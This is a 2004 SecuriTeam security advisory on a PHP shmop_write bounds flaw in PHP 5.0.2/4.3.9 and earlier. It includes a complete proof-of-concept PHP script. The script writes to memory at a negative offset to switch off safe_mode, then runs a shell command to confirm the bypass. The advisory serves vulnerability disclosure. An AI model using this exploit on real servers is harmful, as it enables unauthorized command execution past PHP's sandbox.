[UNIX] PHP Shmop Write of Arbitrary Memory (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 12/20/04

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Date: 20 Dec 2004 18:47:36 +0200

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      PHP Shmop Write of Arbitrary Memory (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    The shared memory PHP module has a memory leak when shmop_write function
    checks for offset bounds. This flaw could lead to complete bypassing of
    Safe Mode and other bad things.

    DETAILS

    Vulnerable Systems:
     * PHP version 5.0.2 and prior
     * PHP version 4.3.9 and prior

    Immune Systems:
     * PHP version 5.0.3 or newer
     * PHP version 4.3.10 or newer

    shmop.c in PHP_FUNCTION(shmop_write) function does not check if the
    'offset' value is negative, therefore it is possible to overwrite
    arbitrary memory with:
     memcpy(shmop->addr + offset, data, writesize);

    In particular it can be used to set safe_mode to off.

    Exploit:
    The exploit code needs some gdb debugging or printing of the address of
    core_globals.safe_mode and some try-and-try again to get the right
    distance to set in '$offset'.

    <?
    /*
       Php Safe_mode Bypass Proof of concept.
       
       Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it
       
       Disclaimer: The author is not responsible of any damage this script can
    cause
       -SECU
    */

     $shm_id = shmop_open(0xff2, "c", 0644, 100);
      if (!$shm_id) {
        echo "Couldn't create shared memory segment\n";
        die;
     }

    // $data="\x01";
    // the new value for safe_mode
     $data="\x00";
     
    // this (-3842685) is my offset to reach core_globals.safe_mode
    // taken with gdb. (0x40688d83)
     $offset=-3842685;
    // Lets write the new value at our offset.
    $shm_bytes_written = shmop_write($shm_id, $data, $offset );
    if ($shm_bytes_written != strlen($data)) {
       echo "Couldn't write the entire length of data\n";
    }

    //Now lets delete the block and close the shared memory segment
    if (!shmop_delete($shm_id)) {
       echo "Couldn't mark shared memory block for deletion.";
    }
    shmop_close($shm_id);

    // Let's try if safe mode has been set to off
    echo passthru("id");
    dl("shmop.so");
    ?>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:stefano.dipaola@wisec.it>
    Stefano Di Paola.

    ========================================

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